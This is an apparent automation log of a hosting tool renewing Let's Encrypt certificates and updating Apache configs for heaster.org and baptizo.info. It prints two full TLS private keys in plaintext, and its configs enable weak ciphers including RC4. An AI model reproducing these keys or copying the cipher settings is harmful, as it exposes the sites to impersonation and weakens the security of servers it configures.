DocumentRoot /var/www/heaster_www
<Directory /var/www/heaster_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/heaster/www_secure_access.log combined
ErrorLog /var/log/apache2/heaster/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-28 06:00:20:
PUT: /tmp/pkp946363
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-28 06:00:20:
chmod 755 /tmp/pkp946363; /tmp/pkp946363; rm /tmp/pkp946363
2025-12-28 06:00:20:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt 5357
d6:4a:3c:12:18:d4:48:f9:af:4c:e3:6e:dd:2b:5d:c7
-----BEGIN CERTIFICATE-----
MIIFAzCCA+ugAwIBAgISBcDLmx4PB+5LK1bqxufcXZPAMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjI4MDUwMTQ4WhcNMjYwMzI4MDUwMTQ3WjAWMRQwEgYDVQQD
EwtoZWFzdGVyLm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALVf
dCmsk7CrJ4sBBgszBgpENVOa3kBmYU0Pu/LkdzQXxPu45EM7P6rAt/kgp6eN8+RM
orHodJozP/+3RqyVbXyS+XNshsfPfkGU4XTMwR46EhpbmpYKamyJCUVbauGr9+Zd
WM8S+KulipVILgAqY3NajzaPerH5NN9Rn7778b+vnHQzyRreke1ouV7Vp/IcV4SW
w2vNq0y1nz9NCaR2T6z31q5rhEzOFd3rxP74AxphFfR/cd/L90jbdpBE/ZDMhfEw
rBjODOojJiagQ6dQ+jdWKG6mm4AtLc48OCj1wo+SEVmCtX57Cmc1u/UDD5Zh/z58
LnIvHSJueDafF97gMVkCAwEAAaOCAiwwggIoMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUYr/nUdLudQGuYWcas7YSQCbAhuwwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzAnBgNVHREEIDAeggtoZWFzdGVyLm9yZ4IPd3d3LmhlYXN0
ZXIub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0
dHA6Ly9yMTIuYy5sZW5jci5vcmcvNjUuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB
8gDwAHUADleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGbY4sVlQAA
BAMARjBEAiB2bTq6CpmyoAWvkUxyEpMJLqxPUC7xfV6j6fuFmvWZ6AIgK6Y7ZI5Z
JFSbyLktxLE5e3gkHNP8mSvz4D1q//Zv/3wAdwDRbqmlaAd+ZjWgPzel3bwDpTxB
EhTUiBj16TGzI8uVBAAAAZtjixZ6AAAEAwBIMEYCIQChqC5CBtS72F9BpCcgTHHg
5mcWImBPypqOKgbCA01aqgIhANidjmI4mzbNwAyhiOuRxQzUIcGtF0XcpBHZPq7O
vz5CMA0GCSqGSIb3DQEBCwUAA4IBAQCRpUWvd6nMoujy41EJU22y5kZtoa/ekKox
y3yk+m5tUgaHAxp8SryPD1Aowrez6wC03FbeYAVts0dJLvNuZyLqx2TTn7zxj8iR
oioUulLsvrlDPb7d/dGu17RQBbfiAxd+0NK3JnIjxvONhtLLDjFs2JPK/JB9jj9i
0YDOewBHCRwd5CS5Ew4LRV7P49Oj9iExw6dFK9m6FYaNFfNzfFVO8gik+cray6ZL
9PYd7N3DdKm3Lij1jTnOZ0L+WN4YiSAyBfG3qk/JrzGput16Lo858iZ4cWsokW8h
Z3bXBFzsp7kXFAMiJjW6SQsAC8aa3/AMr4nRH+DSoxxK+y5E/vk4
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC1X3QprJOwqyeL
AQYLMwYKRDVTmt5AZmFND7vy5Hc0F8T7uORDOz+qwLf5IKenjfPkTKKx6HSaMz//
t0aslW18kvlzbIbHz35BlOF0zMEeOhIaW5qWCmpsiQlFW2rhq/fmXVjPEvirpYqV
SC4AKmNzWo82j3qx+TTfUZ+++/G/r5x0M8ka3pHtaLle1afyHFeElsNrzatMtZ8/
TQmkdk+s99aua4RMzhXd68T++AMaYRX0f3Hfy/dI23aQRP2QzIXxMKwYzgzqIyYm
oEOnUPo3VihuppuALS3OPDgo9cKPkhFZgrV+ewpnNbv1Aw+WYf8+fC5yLx0ibng2
nxfe4DFZAgMBAAECggEAE2b0a3/bZb8NchyIK7sH1qHQzZKH235IQuDfw35GtTMk
vqPbAUktiKPomlUwsicok7/R+LOsA5HfcwjFXfF3PqgPWNZffbD36eaWDrNXplbi
eGDbwti25UjsjbeXkbAeiw1p0m8OXHhPQKRxzVE7hcvGfbjwEGlfC1O1Qc48YHun
4bpUOUs1SQlPBUQ+/OxrK7lu9ImS+OQS6okWFYrnb6Z2W8mhbPBjZKhGZslbc+NY
s8+RvUmZ+IVc+mByR4g+lLcjNEtsUHDz+53KyssSole4ThfYuH+C7QWfZVnQ1m8l
m0AoqtehyK3/mA1xz2bpOIe6mtOmF/gpZHF+1FONwQKBgQDeqCpxcEniTeYligme
3GuxXwlv4quW/tsizxAGhCrkWCoETarB0H04Kt4A0LqRofdag1kZU8ka1nNBlSoi
Ty7Jsd2uhlGGQIoF0H3R9Hv2K2UM9ImBlEB540lmQXhmU6a2+rD8zvn33DaPrWuR
/1cxRBviVIgQ+3u0bCJIfo1w+QKBgQDQiJzBtiidr2QMbfgb/lUvCZrZQ9zILhVb
GuSKT3a31ov3Tdj4ge2DjOz0g/yjVQ4jpqvfHs8G+5nuiLR/jH1xSGY/BPLCPgOg
SKHQIh4YRSYA6Oej9I1Rf6DM4mWurTVzRxC/+r4FZSpqWEJ14bntgIa5jODO/A+S
Q2AuYvc7YQKBgDGO5puHLbrEMfSrC8cjMokxKQ2ROzYJlcbipaN9qXpXsUpx6w7m
k+h7ihxOWShvD3pDAALmJj3l+5NeWxl13GkiQMBGv0CNfusaY9bmfuzk7cH7b9u6
nrtCfqTW77B+7/2MQPaULwkfJ7nFFMtTNRoPGdG/lOWKxBb9dogCOwMpAoGBAJ1v
ZhmBMuzJa5lOtNA9lYYrlDKPX3HqCMl9ZildkN1+JrGQnkwPm4eDr6lytBuDrWcR
ABU1J0u4TCCgKNVa9aG+7SKK09P+CbLK4w9Fkr70BZsOO0O277IlzvqfufDEZ+Qe
NPEblrZwCDO9an+g6UP7krsnNtpNxlvAbi7XHJxBAoGBAKXQXN0jfTgEvGM2TF88
eHIUvk9WTCemANvH366ivKbtcD8ID46YqaPrPvCqG9to59uz3c/iFD/E6KCZvxVE
Ilf13YwjCrIur9UvTH8KSDYcJue3/5iJtqw1ertsvUCDoCr5gNAwMkwDfwRmcI5q
BqoAmxHDZso6tightp61I8Ej
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-12-28 06:00:20: Establishing a connection
2025-12-28 06:00:20: Establishing a connection
2025-12-28 06:00:20:
PUT: /tmp/pkp700222
#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-28 06:00:21:
chmod 755 /tmp/pkp700222; /tmp/pkp700222; rm /tmp/pkp700222
2025-12-28 06:00:21:
1
2025-12-28 06:00:21: Establishing a connection
2025-12-28 06:00:22:
PUT: /tmp/pkp517951
#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > mlbv9gNDXFc_OCanRQjrG_OuMX0noqgOu1wEXfnqUSc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
mlbv9gNDXFc_OCanRQjrG_OuMX0noqgOu1wEXfnqUSc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 mlbv9gNDXFc_OCanRQjrG_OuMX0noqgOu1wEXfnqUSc
2025-12-28 06:00:22:
chmod 755 /tmp/pkp517951; /tmp/pkp517951; rm /tmp/pkp517951
2025-12-28 06:00:22:
2025-12-28 06:00:23: Establishing a connection
2025-12-28 06:00:23: Establishing a connection
2025-12-28 06:00:23:
PUT: /tmp/pkp108843
#!/bin/bash
if [ -d "/var/www/baptizo_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-28 06:00:23:
chmod 755 /tmp/pkp108843; /tmp/pkp108843; rm /tmp/pkp108843
2025-12-28 06:00:23:
1
2025-12-28 06:00:24: Establishing a connection
2025-12-28 06:00:24:
PUT: /tmp/pkp586032
#!/bin/bash
mkdir -p "/var/www/baptizo_www/.well-known/acme-challenge/"
cd "/var/www/baptizo_www/.well-known/acme-challenge/"
cat > 5cO8XOtXDWrb-W9KruTQUpe6h6f4geVkeF9WZy1TYKE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
5cO8XOtXDWrb-W9KruTQUpe6h6f4geVkeF9WZy1TYKE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 5cO8XOtXDWrb-W9KruTQUpe6h6f4geVkeF9WZy1TYKE
cat > TdWXmXlpcSZwGkjXIofdmtPBIX6oof1v6XuwI4YKCMw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
TdWXmXlpcSZwGkjXIofdmtPBIX6oof1v6XuwI4YKCMw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 TdWXmXlpcSZwGkjXIofdmtPBIX6oof1v6XuwI4YKCMw
2025-12-28 06:00:24:
chmod 755 /tmp/pkp586032; /tmp/pkp586032; rm /tmp/pkp586032
2025-12-28 06:00:24:
2025-12-28 06:00:35: Establishing a connection
2025-12-28 06:00:35:
PUT: /tmp/pkp491642
#!/bin/bash
mkdir -p "/var/www/baptizo_www/.well-known/acme-challenge/"
cd "/var/www/baptizo_www/.well-known/acme-challenge/"
rm 5cO8XOtXDWrb-W9KruTQUpe6h6f4geVkeF9WZy1TYKE
rm TdWXmXlpcSZwGkjXIofdmtPBIX6oof1v6XuwI4YKCMw
2025-12-28 06:00:35:
chmod 755 /tmp/pkp491642; /tmp/pkp491642; rm /tmp/pkp491642
2025-12-28 06:00:35:
2025-12-28 06:00:35: Establishing a connection
2025-12-28 06:00:35:
PUT: /tmp/pkp471119
#!/bin/bash
temp_file=$(mktemp)
TARGET=17284863e127d2ac83178e4d2ecd603a.crt
cat > $temp_file <<'endmsg'
36:bb:aa:02:70:c4:8c:46:58:fa:7a:1b:64:2a:53:c9
-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBVt6HzhaCRTuB2Nn6F46fQGxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjI4MDUwMjA0WhcNMjYwMzI4MDUwMjAzWjAXMRUwEwYDVQQD
EwxiYXB0aXpvLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDG
87IFN5sovfmQIQ6sefQTLQczsqQpll5zRyGmfXbeWIwvTcl6ENq0DI5/AtNEQ7nq
tRk4yuJBSex2jXwV91hZVpdXbtMwmr45wKcwqOjfENke4qkKrMQUuxv4JBO6YTHz
p+1GXVpp5ypRHPQhSgRamIjnJoCDp4kfgK2dtg/420eZLyjX+/p4bav6lU6Erq4Q
yi5uUYX1UyBnuPS0h84wbs1fmxUk9pBkRcV016EYWIHgAmkDpc9WPa2JFRa/IsOw
JwGjbBjYlMaEJ9ksUUq6xtmgpdUcNPDO/uu6aA/Ok9rftFnX1DYnwtz5lPbbr3YL
fEmHDubNlW6Z07QrFSS5AgMBAAGjggIvMIICKzAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFDtSliW9F8ANW35I7i9Sud6lhjbcMB8GA1UdIwQYMBaAFOernw8sM6BT015P
eMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
My5pLmxlbmNyLm9yZy8wKQYDVR0RBCIwIIIMYmFwdGl6by5pbmZvghB3d3cuYmFw
dGl6by5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNTAuY3JsMIIBBQYKKwYBBAHWeQIEAgSB
9gSB8wDxAHcASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGbY4tV
lgAABAMASDBGAiEA9jmXv86nNnPWvGybARcOz8LDPGYrHobFlV08ZOE2GzsCIQCm
npNwW3l5ECw2meuCYYc64RlT6U7qRLKXnOPfOOzmMAB2AJaXZL9VWJet90OHaDcI
Qnfp8DrV9qTzNm5GpD8PyqnGAAABm2OLVeIAAAQDAEcwRQIhAMvoWluaTObtoVy/
C0hzZwXcqzMXwXOg4HHUXOmxC6QqAiB7C+hPF+fPIyBtnnfu6JHYSEelayQAHvfR
gdV3wjh4GzANBgkqhkiG9w0BAQsFAAOCAQEAVaugpCT2XvdtgYQCy3yrPAc1Ghwd
cmFGIbr64BKWuXJaUTMZG1rthKzo4XARKbrGd6+URNsxhuAzykWDPdeUNCSikJaO
4reFzNxaynH7d3vjwEIovJ6eKD+RkfjqY9xrBWNYUQxBOSKeIutWWDIyj4UudYet
aUnhrF+7Wytx78tMx3kiIz5n6HEfcyuMrNAZfvZJSHgm9GX3oN53XBUlmD3xPmD/
yxPFVLkNferluFO2q6dI4Wi861bDKSw7rSL/3LifCc5YLK6ZGjy65TU5z7tFVxIe
GePf2YXQHVpKDm9txnXlONzhWJKevtBMNwioUh8qAPgXzA150AGlM8mk7g==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDG87IFN5sovfmQ
IQ6sefQTLQczsqQpll5zRyGmfXbeWIwvTcl6ENq0DI5/AtNEQ7nqtRk4yuJBSex2
jXwV91hZVpdXbtMwmr45wKcwqOjfENke4qkKrMQUuxv4JBO6YTHzp+1GXVpp5ypR
HPQhSgRamIjnJoCDp4kfgK2dtg/420eZLyjX+/p4bav6lU6Erq4Qyi5uUYX1UyBn
uPS0h84wbs1fmxUk9pBkRcV016EYWIHgAmkDpc9WPa2JFRa/IsOwJwGjbBjYlMaE
J9ksUUq6xtmgpdUcNPDO/uu6aA/Ok9rftFnX1DYnwtz5lPbbr3YLfEmHDubNlW6Z
07QrFSS5AgMBAAECggEAKqifq/M1m3mKjJ8t8okOrtrpj6n2/azOkTi4DCccSQYi
/tSWxgvdnRwRJMYyDxHXiC4vG4iTFW04nN3u9JXN1ZAV0MtEUMhpT+BRaQNatVO7
Pl5a4R1UyN4q29y+dyj2iThhTcRgCdOldPF4njes8dEBj9CnXzNZ2U2hzG54g8L9
vKSltWCen0dYWlmVTUzNNreR4Xt4IKpKifgpePNx913smq5l+6GmpdLj+AyvGSWZ
xuuWu4TUPxR34A8nv15Et7NB2ZKeC/jHrtR0U3BDUVYsrvVsUigx9EvTxAowu9TV
QhwNIrBGo+bZgJX5kDXm3zuENY1DWfxSOf8EJIYlVQKBgQD1NG/REjGUyE6lbdyJ
x/Nd3JOxpBgjRkjoqveoU20TAW0qdasWYA6E/BFHJZ2esYcpnpyxDIG7/2531XVR
ZIQLNS60ip9U2U7EYGysk1ZXflRyz6w9cnSr9rXKGgyf5n2LzQeI4RPtC60H5NNu
SoVvlO/QSPhB4O/+ioPWYdKOTQKBgQDPtff9MGiN7HV5s0tdHxsCwD9P6gfNz4Tf
ujEbK9LZoPzRfXSYLhkBEHxrtdShLmhSKnIJGuyIswc2PROGeZ8pLP51NM9qA354
q9L7YA/a2GeGeMNHwjnswyg3IVpl9sBOUWXJE2Zs29c17qZElrr1msyqMTtXTszZ
EMdUwsYeHQKBgDmUzMVN/nKv7zgN6oI4gEAEcnJ+1GRENw7cRzgyDyUtapNT+o9Q
k1hLUUth2/fOPK1bX/R7uWOKgkiFyf0JG7D+Fi+zdeMY/NREyIBmQRpewjoL5qiv
XhKb5ujE4T4ThFv2E9Ti9ijuWv3FkJkPyvH/Canh2NqvlewyXu9THXzpAoGBALD+
SXwpVN6jAJOcsXp/d//HG+wX62B4FayjNxcFJ92krepBMio/FbVve+Y4giB6sBBb
9OJHXAk8LMgOEWZEmth2a7oqLxgSNCHVoKnteHUudEEFBLpQChXzUoBv3l0Gf2X9
PHO0IVJfnqppWqsVmeiRaRcZbox+LFZHUuOqOTINAoGAXAprnTTdMdC6m9BGfXJQ
gYvxTaR2ali/KVJSTx/G8Z7LDgp6hsXiQEdGFqaU3ZydCzyOfn4i4e/xNwnzmzDB
+1Ab+LVYSrdTfyfV8ImbYTrFqrOQIiuYGD4VSXRnDM/KWmXf0UYM2gATkvNZmtFT
9CgANuLJWF3OatgOF9z3EQU=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-28 06:00:35:
chmod 755 /tmp/pkp471119; /tmp/pkp471119; rm /tmp/pkp471119
2025-12-28 06:00:35:
dir=/etc/ssl/certs
2025-12-28 06:00:35:
PUT: /tmp/pkp216560
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/baptizo_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-28 06:00:35:
chmod 755 /tmp/pkp216560; /tmp/pkp216560; rm /tmp/pkp216560
2025-12-28 06:00:35:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/baptizo_www_info.conf 40
<VirtualHost *:80>
ServerName baptizo.info
ServerAlias www.baptizo.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/baptizo_www
<Directory /var/www/baptizo_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/baptizo/www_access.log combined
ErrorLog /var/log/apache2/baptizo/www_error.log
SetEnv pkp_uid 55
SetEnv pkp_owner baptizo
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName baptizo.info
ServerAlias www.baptizo.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt
DocumentRoot /var/www/baptizo_www
<Directory /var/www/baptizo_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/baptizo/www_secure_access.log combined
ErrorLog /var/log/apache2/baptizo/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-28 06:00:35:
PUT: /tmp/pkp598483
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=baptizo_www_info.conf
TARGET=/etc/apache2/sites-enabled/baptizo_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName baptizo.info
ServerAlias www.baptizo.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/baptizo_www
<Directory /var/www/baptizo_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/baptizo/www_access.log combined
ErrorLog /var/log/apache2/baptizo/www_error.log
SetEnv pkp_uid 55
SetEnv pkp_owner baptizo
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName baptizo.info
ServerAlias www.baptizo.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt
DocumentRoot /var/www/baptizo_www
<Directory /var/www/baptizo_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/baptizo/www_secure_access.log combined
ErrorLog /var/log/apache2/baptizo/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
